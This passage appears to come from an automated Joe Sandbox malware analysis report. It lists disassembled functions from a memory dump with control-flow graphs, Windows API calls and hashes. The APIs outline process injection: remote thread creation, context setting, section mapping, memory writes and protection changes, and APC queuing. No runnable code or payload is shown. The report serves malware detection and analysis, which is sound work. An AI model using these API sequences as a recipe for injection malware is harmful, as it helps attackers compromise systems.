9392c4-9392d1 121->125 122->121 125->114 126 9392d3-9392df NtSetContextThread 125->126 127 9392e7-9392e9 126->127 127->114
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: @
                                            • API String ID: 0-2766056989
                                            • Opcode ID: 361629354863c7adea9ee09ac62841a8150ea8ab892e9aecf13e9f2ffacfd1d1
                                            • Instruction ID: f60866b792ffa9421f697123f5752923d6d0713bc6c9cea745a96f4a3923448c
                                            • Opcode Fuzzy Hash: 361629354863c7adea9ee09ac62841a8150ea8ab892e9aecf13e9f2ffacfd1d1
                                            • Instruction Fuzzy Hash: 1D128130618F098FDB69EF28D885BA673E5FB98301F50462EE44AC3291DF74ED458B85
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00957DB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113nativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 128 957db4-957e23 call 9551f8 132 957efc-957f05 128->132 133 957e29-957e44 128->133 135 957eee-957eef 133->135 136 957e4a-957e8b NtQueryInformationToken 133->136 135->132 138 957ee0-957ee8 NtClose 136->138 139 957e8d-957eb8 NtQueryInformationToken 136->139 138->135 140 957ece-957ed8 139->140 141 957eba-957ec9 call 9341aa 139->141 140->138 141->140
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: InformationQueryToken$Close
                                            • String ID: 0
                                            • API String ID: 459398573-4108050209
                                            • Opcode ID: 8f459d0809fb6108b636d5ca042d46abcd9692ce79b6343a060e938baadf2093
                                            • Instruction ID: 48669729301c4cac03142260bd116b51f9f1bd9823c2168c96490d59a186b476
                                            • Opcode Fuzzy Hash: 8f459d0809fb6108b636d5ca042d46abcd9692ce79b6343a060e938baadf2093
                                            • Instruction Fuzzy Hash: 4E31E830618B888FD764EF59D8D579AB7E5FBD8301F50492EE48EC3250DB34A945CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009379AC Relevance: 6.2, APIs: 4, Instructions: 187nativethreadinjectionCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 188 9379ac-9379e4 189 9379e6-9379f9 188->189 190 937a08-937a14 call 956070 188->190 189->190 196 9379fb-937a03 189->196 194 937b65 190->194 195 937a1a-937a2a 190->195 199 937b6a-937b6d 194->199 197 937a7f-937a9c 195->197 198 937a2c-937a5c NtSetInformationProcess 195->198 202 937b7a-937b94 196->202 209 937a9e-937aa0 197->209 200 937a70-937a78 198->200 201 937a5e-937a6e call 93535c 198->201 199->202 203 937b6f-937b70 199->203 210 937a7a-937a7d 200->210 201->210 203->202 209->199 211 937aa6-937ac5 209->211 210->197 210->209 213 937acb-937ace 211->213 214 937b5e-937b63 211->214 213->214 215 937ad4-937b04 CreateRemoteThread 213->215 214->199 216 937b06-937b0d 215->216 217 937b54-937b5c 215->217 218 937b19-937b35 call 954dc8 216->218 219 937b0f-937b14 call 952b18 216->219 217->199 224 937b41 ResumeThread 218->224 225 937b37-937b3f 218->225 219->218 226 937b47-937b52 FindCloseChangeNotification 224->226 225->226 226->199
                                            APIs
                                            • NtSetInformationProcess.NTDLL ref: 00937A54
                                            • CreateRemoteThread.KERNELBASE ref: 00937AFA
                                            • FindCloseChangeNotification.KERNELBASE ref: 00937B4C
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ChangeCloseCreateFindInformationNotificationProcessRemoteThread
                                            • String ID:
                                            • API String ID: 1964589409-0
                                            • Opcode ID: bcf14ce48938decaec9135fe945568eec1f60c24fa63a2324e43814e76582610
                                            • Instruction ID: d12acb42334a9da2c5e11d874dbe23e02c932c0367eb717bee6bdcd18530efc4
                                            • Opcode Fuzzy Hash: bcf14ce48938decaec9135fe945568eec1f60c24fa63a2324e43814e76582610
                                            • Instruction Fuzzy Hash: BE51A07161CB098FE774EF69D88962AB7F5FB99301F10452DE90AC3261EA74DC058B81
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00948C30 Relevance: 4.1, APIs: 2, Instructions: 1069synchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 330 948c30-948caf 333 948ce5-948ce6 330->333 334 948cb1-948ce3 call 9551f8 330->334 336 948ce8-948ceb 333->336 334->336 337 948cf1-948d1a CreateMutexExA 336->337 338 94985a-949876 336->338 342 948d1c-948d21 337->342 343 948d38-948d3b 337->343 344 948d35-948d36 342->344 345 948d23-948d30 342->345 346 949857-949858 343->346 347 948d41-948d68 343->347 344->343 345->346 346->338 350 948d6e-948dba 347->350 351 948e2f-948e30 347->351 363 948dd1-948de1 350->363 364 948dbc-948dc3 350->364 352 948e32-948e35 351->352 352->338 354 948e3b-948e7c 352->354 357 948f20-948f21 354->357 358 948e82-948e88 354->358 362 948f23-948f26 357->362 360 948ef6-948f1e call 9540ec 358->360 361 948e8a-948e98 358->361 360->362 365 948e9a-948ee2 361->365 362->338 367 948f2c-948f47 GetUserNameA 362->367 371 948de7-948e10 363->371 364->363 368 948dc5-948dcb call 93fa80 364->368 369 948ee4-948ee8 365->369 370 948eee-948ef4 365->370 373 948f78-948f8a 367->373 374 948f49-948f65 367->374 368->363 369->370 370->360 370->365 385 948e12-948e2d 371->385 375 948f93-948fdc 373->375 376 948f8c-948f91 373->376 374->373 386 948f67-948f70 374->386 392 948fde-948fe7 375->392 393 948fef-948ff0 375->393 376->375 378 948ffe-949003 376->378 382 949045-949048 378->382 383 949005-949026 378->383 387 94905f-949096 382->387 388 94904a-94905a call 9341aa 382->388 398 949028-94902f 383->398 399 94903a-949042 383->399 385->352 386->373 396 949098-9490b8 387->396 397 9490f9 387->397 388->387 406 94911c-949128 392->406 407 948fed 392->407 402 948ff8 393->402 410 9490be-9490dc call 933dd8 396->410 400 9490fe-949101 397->400 398->399 404 949031-949038 398->404 399->382 400->338 405 949107-94910a 400->405 402->378 404->382 411 949113-949116 405->411 412 94910c call 95578c 405->412 408 9491a2-9491b4 call 951ed4 406->408 409 94912a-94915b call 937b98 406->409 407->402 424 9491b6-9491e7 call 937b98 408->424 425 9491ee-949200 call 93d2ec 408->425 409->408 421 94915d-949165 409->421 422 9490de-9490e7 410->422 423 9490eb 410->423 411->338 411->406 420 949111 412->420 420->411 421->408 427 949167-94919c call 94eb8c 421->427 422->410 428 9490e9 422->428 429 9490f0-9490f7 423->429 434 949208-94924f call 9393dc call 938184 424->434 435 9491e9-9491ea 424->435 425->434 427->408 428->429 429->400 442 949251-949270 434->442 443 949278-94927b call 939588 434->443 435->425 442->443 446 949280-949285 443->446 446->338 447 94928b-9492a4 446->447 447->338 449 9492aa-9492d2 447->449 451 9492d4-9492e9 449->451 452 9492f8-949322 call 94c9f0 449->452 451->452 456 9492eb-9492f3 451->456 457 949324-94932c 452->457 458 949331-949340 452->458 456->338 457->338 459 949346-94937c call 9540ec 458->459 460 949609-949610 458->460 478 94937e-949385 459->478 479 949389-94938c 459->479 462 949616-94963a call 9341b0 460->462 463 949798-9497a1 460->463 475 949640-949660 call 93dae0 462->475 476 9496dd-9496fe call 9341b0 462->476 463->346 464 9497a7-9497ac 463->464 467 94981e-94984c call 94c9f0 464->467 468 9497ae-9497b1 464->468 467->457 487 949852-949854 467->487 471 9497c3-9497e0 468->471 472 9497b3-9497bd 468->472 471->467 491 9497e2-949814 471->491 472->471 475->476 489 949662-94966f 475->489 476->463 488 949704-949721 call 93dae0 476->488 478->479 479->338 485 949392-94945f call 934244 * 4 479->485 513 949461-949468 485->513 514 9494cd-9494d0 485->514 487->346 488->463 498 949723-949730 488->498 493 949671-9496b6 call 95b3a8 call 93a044 489->493 494 9496cb-9496d5 489->494 491->467 493->494 516 9496b8-9496c6 call 934070 493->516 494->476 501 949786-949790 498->501 502 949732-949778 call 95b3a8 call 93a044 498->502 501->463 502->501 525 94977a-949781 call 941f1c 502->525 513->514 518 94946a-949485 513->518 514->338 517 9494d6-9494dd 514->517 516->494 521 9494f4-949513 517->521 522 9494df-9494ee 517->522 527 949487-94948d 518->527 528 94948f-9494bb call 94c9f0 518->528 530 949515-94954e call 952400 521->530 531 949553-949593 521->531 522->521 525->501 536 9494cb 527->536 528->514 538 9494bd-9494c3 528->538 530->531 539 949595-9495b2 call 94c9f0 531->539 540 9495d6-9495dc 531->540 536->514 538->536 546 9495b4-9495b9 539->546 547 9495bb-9495d4 539->547 545 9495de-9495e1 540->545 545->338 548 9495e7-9495f2 545->548 546->545 547->545 548->463 550 9495f8-949604 call 948af4 548->550 550->463
                                            APIs
                                            • CreateMutexExA.KERNEL32 ref: 00948CFD
                                            • GetUserNameA.ADVAPI32 ref: 00948F36
                                              • Part of subcall function 0094C9F0: CreateThread.KERNELBASE ref: 0094CA20
                                              • Part of subcall function 0094C9F0: QueueUserAPC.KERNELBASE ref: 0094CA37
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateUser$MutexNameQueueThread
                                            • String ID:
                                            • API String ID: 2503873790-0
                                            • Opcode ID: 941571099aad18ea7affcf372cf637b6d2292183614781d015a78eef3a685228
                                            • Instruction ID: be6007088ab9918692026e10e3093228084d21ca9d005c72f7da05ad1da17aff
                                            • Opcode Fuzzy Hash: 941571099aad18ea7affcf372cf637b6d2292183614781d015a78eef3a685228
                                            • Instruction Fuzzy Hash: F372AC71618A088FE758EF28ECC5AEA77E5F799701B10852ED44BC3261DF38D946CB81
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009359D4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 214nativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 606 9359d4-935a16 608 935be7 606->608 609 935a1c-935a5f 606->609 610 935bec-935c0f 608->610 613 935bd3-935be5 609->613 614 935a65-935a84 609->614 613->610 614->613 617 935a8a-935aa9 614->617 617->613 619 935aaf-935ace 617->619 619->613 621 935ad4-935af3 619->621 621->613 623 935af9-935b7b call 9551f8 NtCreateSection 621->623 626 935bc2-935bc7 623->626 627 935b7d-935b9a call 9410b4 623->627 633 935bc9-935bcb 626->633 631 935bb8-935bc0 627->631 632 935b9c-935bb6 call 9551f8 627->632 631->633 632->633 633->613 635 935bcd-935bd1 633->635 635->610
                                            APIs
                                            • NtCreateSection.NTDLL ref: 00935B76
                                              • Part of subcall function 009410B4: NtMapViewOfSection.NTDLL ref: 00941100
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: Section$CreateView
                                            • String ID: 0
                                            • API String ID: 1585966358-4108050209
                                            • Opcode ID: 8b919d054a1b8379d396ee9ee7003490226db2f3546486956fc07ada3ef7e19a
                                            • Instruction ID: 3561d5954c574918b46681a18636c14a528db05650e1bd3172ba2bda1d408072
                                            • Opcode Fuzzy Hash: 8b919d054a1b8379d396ee9ee7003490226db2f3546486956fc07ada3ef7e19a
                                            • Instruction Fuzzy Hash: 0561B23061CF098FEB54EF29D885AA5B7F5FB98301F11456EE84AC7261DB34E841CB81
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00953FD4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39memorynativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 638 953fd4-953fe8 639 95402e-954036 638->639 640 953fea-954015 NtAllocateVirtualMemory 638->640 641 954017-954027 640->641 642 954029-95402a 640->642 641->639 642->639
                                            APIs
                                            • NtAllocateVirtualMemory.NTDLL ref: 00954011
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: AllocateMemoryVirtual
                                            • String ID: @
                                            • API String ID: 2167126740-2766056989
                                            • Opcode ID: 7fb93afdd46257997018ec6f4d062fa8e62e72a29926394314d2e78d8d5a38b9
                                            • Instruction ID: 3258cfc3877036b38c2ba791f64497dfe627d8d56168b6d18e7edabb5c149d57
                                            • Opcode Fuzzy Hash: 7fb93afdd46257997018ec6f4d062fa8e62e72a29926394314d2e78d8d5a38b9
                                            • Instruction Fuzzy Hash: 16F090B0618A088BDB44DFB9D8CC66D76E0F75C306F50096DE60ACB2D4DB7889888781
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0096E011 Relevance: 3.3, APIs: 2, Instructions: 337nativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 645 96e011-96e063 646 96e33d-96e355 645->646 647 96e069-96e082 645->647 657 96e358-96e36a 646->657 648 96e237-96e282 NtProtectVirtualMemory 647->648 649 96e088-96e091 647->649 650 96e31c-96e31e 648->650 651 96e288-96e289 648->651 649->648 652 96e097-96e09f 649->652 656 96e320-96e33b 650->656 650->657 654 96e28d-96e28f 651->654 655 96e0a2-96e0ae 652->655 654->657 658 96e295-96e299 654->658 659 96e0b0-96e0b1 655->659 660 96e0cc-96e0fa 655->660 656->657 661 96e2b1-96e2b5 658->661 662 96e29b-96e2af 658->662 663 96e0b3-96e0ca 659->663 669 96e100-96e111 660->669 670 96e228-96e229 660->670 666 96e2b7-96e2cb 661->666 667 96e2cd-96e2ce 661->667 665 96e2d0-96e316 NtProtectVirtualMemory 662->665 663->660 663->663 665->650 665->654 666->665 667->665 671 96e113-96e118 669->671 672 96e11e-96e13a 669->672 673 96e22e-96e231 670->673 671->672 674 96e204-96e205 671->674 675 96e140-96e17e 672->675 676 96e20c-96e220 672->676 673->648 673->657 674->676 680 96e1a7-96e1c3 675->680 681 96e180-96e188 675->681 676->655 677 96e226 676->677 677->673 685 96e1c5 680->685 686 96e1c8-96e1ca 680->686 682 96e193-96e1a4 681->682 683 96e18a-96e191 681->683 682->680 683->682 683->683 685->686 687 96e1fe-96e1ff 686->687 688 96e1cc-96e1ee 686->688 687->674 688->676 689 96e1f0-96e1f9 688->689 689->675
                                            APIs
                                            • NtProtectVirtualMemory.NTDLL ref: 0096E27A
                                            • NtProtectVirtualMemory.NTDLL ref: 0096E309
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608678058.000000000096E000.00000040.80000000.00040000.00000000.sdmp, Offset: 0096E000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_96e000_control.jbxd
                                            Similarity
                                            • API ID: MemoryProtectVirtual
                                            • String ID:
                                            • API String ID: 2706961497-0
                                            • Opcode ID: f5a84a134e3cb8b58cb9ca2a2525149c60fe818a729ba653144c599ad5823a8d
                                            • Instruction ID: 54bcd2f000c632ebb712efa55525a9b3da394bf23075cbd4db79cea696c6c79b
                                            • Opcode Fuzzy Hash: f5a84a134e3cb8b58cb9ca2a2525149c60fe818a729ba653144c599ad5823a8d
                                            • Instruction Fuzzy Hash: 61A13B3521CB884FC725DF28CC91AA6B7E5FB96310F54497ED0CBC7252D634E9468782
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009332C0 Relevance: 3.2, APIs: 2, Instructions: 183memorynativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL ref: 009332EB
                                            • NtQueryInformationProcess.NTDLL ref: 00933335
                                              • Part of subcall function 00944F74: NtReadVirtualMemory.NTDLL ref: 00944F93
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: AllocateHeapInformationMemoryProcessQueryReadVirtual
                                            • String ID:
                                            • API String ID: 886377554-0
                                            • Opcode ID: 8e43f072dfb99becee1980524dace090053a5a4e8620e60aa4657b99dab196f7
                                            • Instruction ID: f8235718c8b2617b99fcf7dd1a7ba898d5c52a26cc4fbe425831079af882347d
                                            • Opcode Fuzzy Hash: 8e43f072dfb99becee1980524dace090053a5a4e8620e60aa4657b99dab196f7
                                            • Instruction Fuzzy Hash: 8A51B83061CB485BDB1AEF29D8867A673E5FBD8301F00852EA88DC3255DF34DA45CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00943B64 Relevance: 1.8, APIs: 1, Instructions: 292memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateHeap
                                            • String ID:
                                            • API String ID: 10892065-0
                                            • Opcode ID: 42b612c78fe9b70062130d364ca0d4e6e8c0bf91701461e5dfe428bbca03cae4
                                            • Instruction ID: dec0b3aa8b113aff72412440bafed19e58f0f9457b857ad5cd56d6a2096284f7
                                            • Opcode Fuzzy Hash: 42b612c78fe9b70062130d364ca0d4e6e8c0bf91701461e5dfe428bbca03cae4
                                            • Instruction Fuzzy Hash: 0581A630618B098FEB28EF79E889B6637E5FB94311F10852DE54AC3161EF78D9468741
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00957D48 Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtQueryInformationProcess.NTDLL ref: 00957D6E
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: InformationProcessQuery
                                            • String ID:
                                            • API String ID: 1778838933-0
                                            • Opcode ID: 2cbd10eb540a1377c62dc1952105ae5ca313dfe62637f8386d5eb1acd45784ee
                                            • Instruction ID: 128646559c3f1c55270549c3c973e772fee5fc0a99e0b543ade42a16670eddef
                                            • Opcode Fuzzy Hash: 2cbd10eb540a1377c62dc1952105ae5ca313dfe62637f8386d5eb1acd45784ee
                                            • Instruction Fuzzy Hash: 9B016230218E0D8FDB84DFA9E4C4935B3FAFBA8306B50056EA80AC3154D734D985CB05
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009410B4 Relevance: 1.5, APIs: 1, Instructions: 46nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: SectionView
                                            • String ID:
                                            • API String ID: 1323581903-0
                                            • Opcode ID: fcd82b1f9bd2768ab02ed58a59795749d2e6ecb94e6dd7f1d9f4b656cf451d04
                                            • Instruction ID: 5ed5fe37420f682194084b60444ed0773cb979f3771df2afa261d9801df50450
                                            • Opcode Fuzzy Hash: fcd82b1f9bd2768ab02ed58a59795749d2e6ecb94e6dd7f1d9f4b656cf451d04
                                            • Instruction Fuzzy Hash: 2301D670A08B048FCB44DF69D4C8569BBE1FB9C315B10066FE949C7796DB70D885CB45
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00932B58 Relevance: 1.5, APIs: 1, Instructions: 30nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtWriteVirtualMemory.NTDLL ref: 00932B77
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: MemoryVirtualWrite
                                            • String ID:
                                            • API String ID: 3527976591-0
                                            • Opcode ID: d8c855afc7970eb24a71728fbfc2e8406778788fce13a2eb5631248942bfb38d
                                            • Instruction ID: 5d3d1b20e73b04dd11fde840714552d12d07ece58ad6fe5c2530dba172d6bdab
                                            • Opcode Fuzzy Hash: d8c855afc7970eb24a71728fbfc2e8406778788fce13a2eb5631248942bfb38d
                                            • Instruction Fuzzy Hash: 1AE09A30714A808FEB04AFB59C88238B3E1E788302F10083AE845C7360D629C8408A42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00944F74 Relevance: 1.5, APIs: 1, Instructions: 30nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: MemoryReadVirtual
                                            • String ID:
                                            • API String ID: 2834387570-0
                                            • Opcode ID: 259c968675b9063b5be8af8d8752efdb726dc37ff6af69e426b3dccd34b883d6
                                            • Instruction ID: 45495125e538a59716c2189ed38619d48b927ee492832dc35798b314a74b675c
                                            • Opcode Fuzzy Hash: 259c968675b9063b5be8af8d8752efdb726dc37ff6af69e426b3dccd34b883d6
                                            • Instruction Fuzzy Hash: 01E09A30B25A404BEB006FB89888638B7D0F788205F1049B9F846C7320DA2DD8488742
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00954DC8 Relevance: 6.2, APIs: 4, Instructions: 234threadinjectionCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 144 954dc8-954e3b call 9551f8 call 956070 149 954e63-954e6e 144->149 150 954e3d-954e5d call 938d20 144->150 152 954e70-954e76 call 9332c0 149->152 153 954e7e-954ea0 call 944f74 149->153 150->149 157 954fe7-954feb 150->157 158 954e7b-954e7c 152->158 162 954ea6-954eac 153->162 163 954fdf-954fe5 153->163 160 954ff7-955014 157->160 161 954fed-954fee 157->161 158->153 161->160 164 954eb2-954ed7 VirtualProtectEx 162->164 165 954fd8-954fdd 162->165 163->157 167 954ef3 164->167 168 954ed9-954ef1 call 9594f4 164->168 165->157 169 954ef5-954ef7 167->169 168->169 169->163 172 954efd-954f03 169->172 173 954f08-954f42 ResumeThread SuspendThread 172->173 175 954f44-954f4f 173->175 176 954f57-954f59 173->176 175->176 177 954f65-954f6d 176->177 178 954f5b-954f63 176->178 180 954f76-954f8d call 938d20 177->180 181 954f6f-954f74 177->181 178->173 178->177 183 954f8f-954fbc VirtualProtectEx 180->183 181->183 183->157 185 954fbe-954fd6 call 9594f4 183->185 185->157
                                            APIs
                                              • Part of subcall function 00956070: FindCloseChangeNotification.KERNELBASE ref: 0095611C
                                            • VirtualProtectEx.KERNELBASE ref: 00954ECF
                                            • ResumeThread.KERNELBASE ref: 00954F0C
                                            • SuspendThread.KERNELBASE ref: 00954F2F
                                            • VirtualProtectEx.KERNELBASE ref: 00954FAC
                                              • Part of subcall function 009594F4: VirtualProtectEx.KERNELBASE ref: 00959548
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual$Thread$ChangeCloseFindNotificationResumeSuspend
                                            • String ID:
                                            • API String ID: 4107391026-0
                                            • Opcode ID: 341209e84b548f9049f8f83d80656181302a846ef09d3cd64fff549bb4252ca5
                                            • Instruction ID: c3e2f9b23f0a86292cf0e2a722584486211eac27f1faaabb67d495b8a809e057
                                            • Opcode Fuzzy Hash: 341209e84b548f9049f8f83d80656181302a846ef09d3cd64fff549bb4252ca5
                                            • Instruction Fuzzy Hash: 4861A23070CB084FD798EB19E88576A73D5FB89316F10452DE98BC3291DF38D98A8B46
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009387DC Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 228 9387dc-938806 call 94e478 231 938921-938938 228->231 232 93880c-938823 call 957f58 228->232 235 938829-93883e 232->235 236 93890d-938919 232->236 237 938842-938846 235->237 236->231 238 938864-938871 237->238 239 938848-938862 237->239 238->236 241 938877 238->241 239->238 240 938879-938884 239->240 240->236 242 93888a-9388bd CreateFileA 240->242 241->237 242->236 243 9388bf-9388d2 SetFilePointer 242->243 244 938904-938907 FindCloseChangeNotification 243->244 245 9388d4-9388f4 ReadFile 243->245 244->236 245->244 246 9388f6-9388fb 245->246 246->244 247 9388fd-938902 246->247 247->244
                                            APIs
                                            • CreateFileA.KERNELBASE ref: 009388B0
                                            • SetFilePointer.KERNELBASE ref: 009388CA
                                            • ReadFile.KERNELBASE ref: 009388EC
                                            • FindCloseChangeNotification.KERNELBASE ref: 00938907
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: File$ChangeCloseCreateFindNotificationPointerRead
                                            • String ID:
                                            • API String ID: 2405668454-0
                                            • Opcode ID: 876d94c119db6849c9370046cb500efc55646bd6fdd98435b9b0f08470bcb9d3
                                            • Instruction ID: b50dc05deb6e15f09c01a53fd41c3e306655d813bc20d088c05895e95b59fca5
                                            • Opcode Fuzzy Hash: 876d94c119db6849c9370046cb500efc55646bd6fdd98435b9b0f08470bcb9d3
                                            • Instruction Fuzzy Hash: B5418430218A088FDB58DF68D88473AB7E5F798315F24466DE09AC7261DE39D947CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00953008 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 222stringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 248 953008-95305a 250 9531f1 248->250 251 953060-953063 248->251 252 9531f6-95320c 250->252 253 953065-95306b 251->253 254 95306d-953070 253->254 255 9530b8-9530ba 253->255 258 953072-953075 254->258 259 95309e-9530a0 254->259 256 9530c3-9530c6 255->256 257 9530bc-9530c1 255->257 262 9530cc-9530ee 256->262 263 9531d8 256->263 257->256 258->259 264 953077-953079 258->264 260 9530a2-9530a9 259->260 261 9530ab-9530ac 259->261 260->261 266 9530af-9530b6 261->266 271 9530f4-953101 262->271 272 9531d1-9531d6 262->272 265 9531dd-9531ef RtlDeleteBoundaryDescriptor 263->265 267 95307b-95307e 264->267 268 95309a-95309c 264->268 265->252 266->253 266->255 267->256 270 953080-95308b 267->270 268->266 273 953090-953097 270->273 274 95308d 270->274 275 9531c4-9531cf 271->275 276 953107-95310d 271->276 272->265 273->268 274->273 275->265 277 95310f-953163 276->277 280 953165-953166 277->280 281 95319b-9531b9 277->281 282 953168-953177 lstrcmp 280->282 281->277 288 9531bf-9531c0 281->288 283 953194 282->283 284 953179-953190 282->284 287 953196-953197 283->287 284->282 286 953192 284->286 286->287 287->281 288->275
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: BoundaryDeleteDescriptorlstrcmp
                                            • String ID:
                                            • API String ID: 735288309-3916222277
                                            • Opcode ID: 288f9c1cbce8911936c130478318fe4cf2356879a3dc1ca2d5e6530766e1ddb2
                                            • Instruction ID: 3e380c276bd4994ea26542f6499a33ce2d7dc2b62b7433cd44005a8f37a06bac
                                            • Opcode Fuzzy Hash: 288f9c1cbce8911936c130478318fe4cf2356879a3dc1ca2d5e6530766e1ddb2
                                            • Instruction Fuzzy Hash: 2451373161CB484BD72CEF2D9C86179B3D5E789352F14813EDDCAC3261DA249D4687C2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009393DC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 145registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
